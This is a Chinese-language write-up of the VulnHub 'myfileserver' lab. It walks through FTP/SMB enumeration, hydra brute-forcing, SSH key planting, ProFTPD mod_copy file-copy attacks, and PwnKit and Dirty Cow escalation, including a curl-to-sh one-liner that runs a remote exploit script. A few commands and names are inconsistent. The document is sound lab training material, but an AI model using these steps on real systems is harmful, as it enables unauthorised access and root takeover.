VulnHub - myfileserver
端口扫描

21和2121端口ftp服务存在匿名登录。anonymous

服务探测

80端口下,一个外部链接,很简单。目录爆破下。


那个一个凭据rootrootl。
SSH 服务探测

不能直接使用账号密码登录。
FTP 服务探测
anonymous:anonymous
ftp 192.168.30.146
2121端口。
ftp 192.168.30.146

服务器在被动模式下打开的随机数据端口被防火墙或路由规则阻止了。
回到21端口。
发现一个pub目录,下载到本地。如果是单个文件可以用get,但是目录的话可以用megt。
mget下载
ftp登录后。看一下有哪些命令。
help
mget pub/*
wget下载目录文件
# wget
wget -r --ftp-user=用户名 --ftp-password=密码 ftp://FTP服务器地址/远程目录名/
-r(or--recursive): 启用递归下载,这是下载整个目录的关键。--no-parent: 确保它不会爬到父目录中去,只下载指定目录及其子目录的内容。
wget -r --no-parent --ftp-user=anonymous --ftp-password=anonymous ftp://192.168.30.146/pub/
lftp命令下载
lftp 是一个功能更强大的 FTP 客户端,它提供了 mirror 命令,可以轻松实现递归下载。如果您的系统安装了 lftp,这是非常高效的方法。
lftp -u 用户名,密码 FTP服务器地址
-
连接到 FTP 服务器:
Bash
lftp -u 用户名,密码 FTP服务器地址(或者先输入
lftp FTP服务器地址,再用user 用户名 密码登录) -
执行递归下载(镜像):
Bash
mirror /远程目录名 /本地目标路径
示例:
Bash
# lftp 命令行
lftp -u myuser,mypass 192.168.1.100
lftp 192.168.1.100:~> mirror /remote/files /home/localuser/downloads/
lftp 192.168.1.100:~> bye
mirror命令会自动下载远程目录下的所有文件和子目录,并保持本地目录结构与远程一致。
查看目录信息。
tree -a 192.168.30.146

smb服务
smb服务探测
使用nmap探测
nmap -p 445 -sV 192.168.30.146

确定是Samba版本。
Nmap 自带许多用于 SMB 枚举的脚本,无需凭据即可运行:
| NSE 脚本 | 目的 | 示例命令 |
|---|---|---|
smb-enum-shares |
枚举共享。尝试列出目标系统上的所有共享目录,包括匿名共享。 | nmap -p 445 --script smb-enum-shares <目标IP> |
smb-enum-users |
枚举用户。尝试列出目标系统上的用户账号,但很多现代 Windows 系统默认禁用此功能。 | nmap -p 445 --script smb-enum-users <目标IP> |
smb-os-discovery |
OS 发现。获取关于操作系统的详细信息,包括域名/工作组、计算机名称、系统时间等。 | nmap -p 445 --script smb-os-discovery <目标IP> |
smb-security-mode |
安全模式。检查 SMB 签名是否开启,并报告 SMB 版本。 | nmap -p 445 --script smb-security-mode <目标IP> |
# 枚举共享目录
nmap --min-rate 10000 -p 445 --script smb-enum-shares 192.168.30.146 -oA scan/smbshares
# 枚举用户
nmap --min-rate 10000 -p 445 --script smb-enum-users 192.168.30.146 -oA scan/smbusers
# OS发现
nmap --min-rate 10000 -p 445 --script smb-os-discovery 192.168.30.146 -oA scan/smbos
# 安全模式
nmap --min-rate 10000 -p 445 --script smb-security-mode 192.168.30.146 -oA scan/smbsecu
使用smbclient探测
smbclient -L 192.168.30.146 -N
# -L: 列出服务 (List)
# -N: 不使用密码 (No password)

这是目标服务器上公开或至少对匿名用户可见的共享目录(Sharename)和服务的列表:
| Sharename | Type | Comment | 解释 |
|---|---|---|---|
print$ |
Disk | Printer Drivers | 用于存储打印机驱动程序的管理共享,通常是默认共享。 |
smbdata |
Disk | smbdata | 一个普通的文件共享。 这很可能包含用户数据或系统文件,是渗透测试中重点关注的目标。 |
smbuser |
Disk | smbuser | 另一个普通的文件共享。 这也可能是包含有用信息的目标。 |
IPC$ |
IPC | IPC Service (Samba 4.9.1) | 进程间通信 (IPC) 共享。 这是一个默认的隐藏管理共享,用于远程管理和程序通信。它同时暴露了服务器正在运行 Samba 4.9.1 版本。 |
使用enum4linux (专用枚举工具)
enum4linux 是一个自动化脚本,专门用于在 Linux/Kali 上执行多种 SMB 和 NetBIOS 枚举技术。
核心功能
这个工具整合了多种技术来获取以下信息:
- 用户列表
- 组列表
- 共享列表
- 密码策略信息
enum4linux 192.168.30.146
探测流程总结
nmap --min-rate 10000 -p 445 --script smb-os-discovery 192.168.30.146 -oA scan/smbos nmap --min-rate 10000 -p 445 --script smb-security-mode 192.168.30.146 -oA scan/smbsecu # 列出共享目录 smbclient -L 192.168.30.146 -N # 枚举用户 nmap --min-rate 10000 -p 445 --script smb-enum-users 192.168.30.146 -oA scan/smbusers # 连接服务
smb服务连接
使用smbclient
smbclient //服务器IP或名称/共享名 -U 用户名
# 需要密码
smbclient //192.168.30.146/myshare -U myuser
# 匿名访问
smbclient //192.168.30.146/myshare -N # 或 -U %
匿名用户虽然可以登录,但是无权访问。

使用smbuser(该用户名在nmap的用户枚举脚本中发现)。
smbclient //192.168.30.146/smbdata -U smbuser
smbclient //192.168.30.146/smbdata -N
需要密码,尝试上面发现的凭据rootrootl。失败。
那么smb服务这一块就剩下匿名登录可以访问的smbdata目录了。
查看目录详细内容。
exit
# 退出smb服务到本地
mkdir smb
cd smb
# 在当前目录进入smb服务
smbclient //192.168.30.146 -N
# mget所有文件,mget只能下载文件,会逃过目录
mget *
# 每个都yes
使用mount挂载
使用mount挂载则可以看到目录和文件。但是挂载失败,因为用户身份。
# 创建挂载点
mkdir smb_mnt
# 匿名身份
sudo mount -t cifs //192.168.30.146/smbdata ./smb_mnt -o username=guest,password=
# 卸载挂载点
sudo umount /mnt/smb_share
回到我们一个个下载的目录下。

暂时没发现有用信息,ssh_config文件中可以看到确实只能通过ssh证书登录。

撞库
燃尽了,这里整理账号密码。
root
smbuser
rootrootl
除了ssh和nfs和smb,就只有ftp了。
hydra -L user.txt -P password.txt ftp://192.168.30.146
燃尽了。失败了。我不理解。原来是密码输错了。1l。
rootroot1
hydra -L user.txt -P password.txt ftp://192.168.30.146
hydra -L user.txt -P password.txt ftp://192.168.30.146 -s 2121

两个ftp端口都成功。
登录ftp
ftp 192.168.30.146

连接的是smbuser用户的家目录位置。
登录2121端口的ftp服务
ftp 192.168.30.146

使用的ProFTPD 1.3.5服务。ProFTPD 1.3.5 版本存在一个著名的漏洞:mod_copy 模块的任意文件复制和远程命令执行漏洞。
SSH密钥登录
上传公钥
根据ssh_config中的配置。

我们只需在该用户家目录下创建.ssh/authorized_keys路径就可以。
先在kali生成密钥对。
在现代系统中,Ed25519 是推荐的密钥类型,因为它更快、更安全且密钥更短。如果兼容性是首要考虑,则使用 RSA。
| 密钥类型 | 推荐命令 | 密钥大小/效率 |
|---|---|---|
| Ed25519 (推荐) | ssh-keygen -t ed25519 |
256 位,非常快,安全性高。 |
| RSA (通用) | ssh-keygen -t rsa -b 4096 |
4096 位(推荐长度),兼容性最好。 |
ssh-keygen -t ed25519 -C "kali-smbuser" -f ./authorized_keys
回车回车。

一个私钥,一个公钥。我们把公钥上传。
ftp 192.168.30.146

使用私钥登录
ssh -i authorized_keys smbuser@192.168.30.146
登录成功。

提权

非常典型的。
polkit的PwnKit提权
cve-2021-4034
https://github.com/ly4k/PwnKit
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
没成功。
ProFTPD 1.3.5 mod_copy漏洞
searchploit ProFTPD

上面几个用来打点。我们看一下这个复制漏洞教程。
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
Connected to 80.150.216.115. [0/727]
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------
He provides another, scarier example:
------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------
test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter
Source: http://bugs.proftpd.org/show_bug.cgi?id=4169
nc 192.168.30.146 2121
site cpfr .ssh/authorized_keys
site cpto /home/smbuser/.ssh/authorized_keys

这组命令利用了标准的 FTP 协议和您之前提到过的 ProFTPD mod_copy 漏洞所引入的扩展命令(SITE CPFR 和 SITE CPTO)的思想,来在服务器内部复制文件。
| 命令 | 协议/工具 | 作用 |
|---|---|---|
nc 192.168.30.146 2121 |
Netcat (nc) | 建立连接: 使用 Netcat 工具连接到目标 IP 192.168.30.146 的 2121 端口。如果 2121 端口上运行的是 FTP 服务,那么您已经建立了原始的 TCP 连接,等待输入 FTP 命令。 |
site cpfr .ssh/authorized_keys |
FTP 扩展 (mod_copy) |
复制源文件 (Copy From): 通知 FTP 服务器,您希望将位于服务器文件系统上的文件 .ssh/authorized_keys 作为复制操作的源文件。 |
site cpto /home/smbuser/.ssh/authorized_keys |
FTP 扩展 (mod_copy) |
复制目标文件 (Copy To): 通知 FTP 服务器,您希望将源文件复制到目标位置 /home/smbuser/.ssh/authorized_keys。 |
重新登录ssh。
ssh smbdata@192.168.30.146
su root

到这里才发现,原来提权直接。
su root
rootroot1就可以了
内核提权
uname -a
Linux fileserver 3.10.0-229.el7.x86_64 #1 SMP Fri Mar 6 11:36:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
这个内核版本 3.10.0-229.el7.x86_64 是非常老旧的,存在着多个已知的、可利用的内核漏洞,可以实现本地提权到 root。
优先级最高的内核提权漏洞
1. 脏牛 (Dirty Cow) - CVE-2016-5195
- 漏洞类型: 竞争条件漏洞(Race Condition),存在于 Linux 内核的内存子系统中的写时复制(Copy-on-Write, COW)机制。
- 影响范围: Linux Kernel >= 2.6.22 版本(2007 年)到 2016 年 10 月底。您的
3.10.0-229.el7.x86_64肯定在这个范围内。- 利用难度: 低到中等。已公开的 Exploit 非常稳定可靠。
- 效果: 允许本地低权限用户修改只有
root用户可写的文件。典型的利用方式是修改/etc/passwd文件,插入一个具有root权限的后门用户,或修改一个现有用户的密码。如何利用 (简要步骤):
上传 Exploit: 将 Dirty Cow 的 C 语言 Exploit 代码上传到目标机器(如果目标机器可以访问互联网,也可以直接用
wget)。编译: 在目标机器上用
gcc编译 Exploit。Bash
gcc -pthread dirty.c -o dirty -lcrypt
- 运行: 运行 Exploit 来修改一个文件(例如
/etc/passwd)。
- 目标: 将一个新的用户条目(例如用户名为
firefart,密码为firefart)写入/etc/passwd。- 执行后: 使用新创建的账户和密码即可
su或ssh登录为root。2.
PwnKit(Polkit Local Privilege Escalation) - CVE-2021-4034
- 漏洞类型: 内存损坏漏洞,存在于 Polkit 的
pkexec程序中。- 影响范围: 这是一个影响几乎所有主要 Linux 发行版超过 12 年的漏洞。
- 与内核的关系: 虽然 PwnKit 是一个用户空间程序漏洞 (SUID 二进制文件
pkexec),但由于它影响非常广泛,您的系统很可能受到影响。- 利用难度: 低。Exploit 稳定可靠。
- 效果: 允许任何非特权本地用户通过执行一个简单的命令立即获得完整的
root权限。如何检查和利用 (简要步骤):
检查
pkexec: 您已经在列表中提到它:/usr/bin/pkexec。上传 Exploit: 将 PwnKit 的 C 语言 Exploit 代码上传到目标机器。
编译并运行:
Bash
gcc pwnkit.c -o pwnkit ./pwnkit如果 Exploit 成功,您将获得一个
rootShell。
其他可能适用的漏洞
由于您使用的是
3.10.0-229.el7这个非常早期的 RHEL 7 内核,还有很多其他漏洞可能适用,但可靠性可能不如 Dirty Cow:
CVE-2016-8655(AF_PACKET / Raw Sockets): 另一个竞争条件漏洞,允许本地用户执行任意代码并获得root权限。CVE-2017-1000253(Stack Clash): 堆栈冲突漏洞,可以被用来提权,但 Exploit 相对复杂且稳定性一般。建议:
优先尝试
pkexec(PwnKit),因为您之前枚举了它,且它与内核版本无关,非常通用。其次尝试
Dirty Cow,它对您这个老旧的内核版本几乎是必杀技。如果前两者失败,再考虑寻找针对您特定内核的 Exploit。 您可以使用
searchsploit工具在本地 Exploit-DB 数据库中搜索:Bash
# 在您的 Kali 或攻击机上运行 searchsploit 3.10.0-229
脏牛(Dirty Cow) - CVE-2016-5195
https://github.com/firefart/dirtycow
wget https://github.com/firefart/dirtycow/blob/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
./dirty my-new-password
这个编译报错。换一个。
https://www.exploit-db.com/exploits/40847
https://www.exploit-db.com/exploits/40839
都失败了。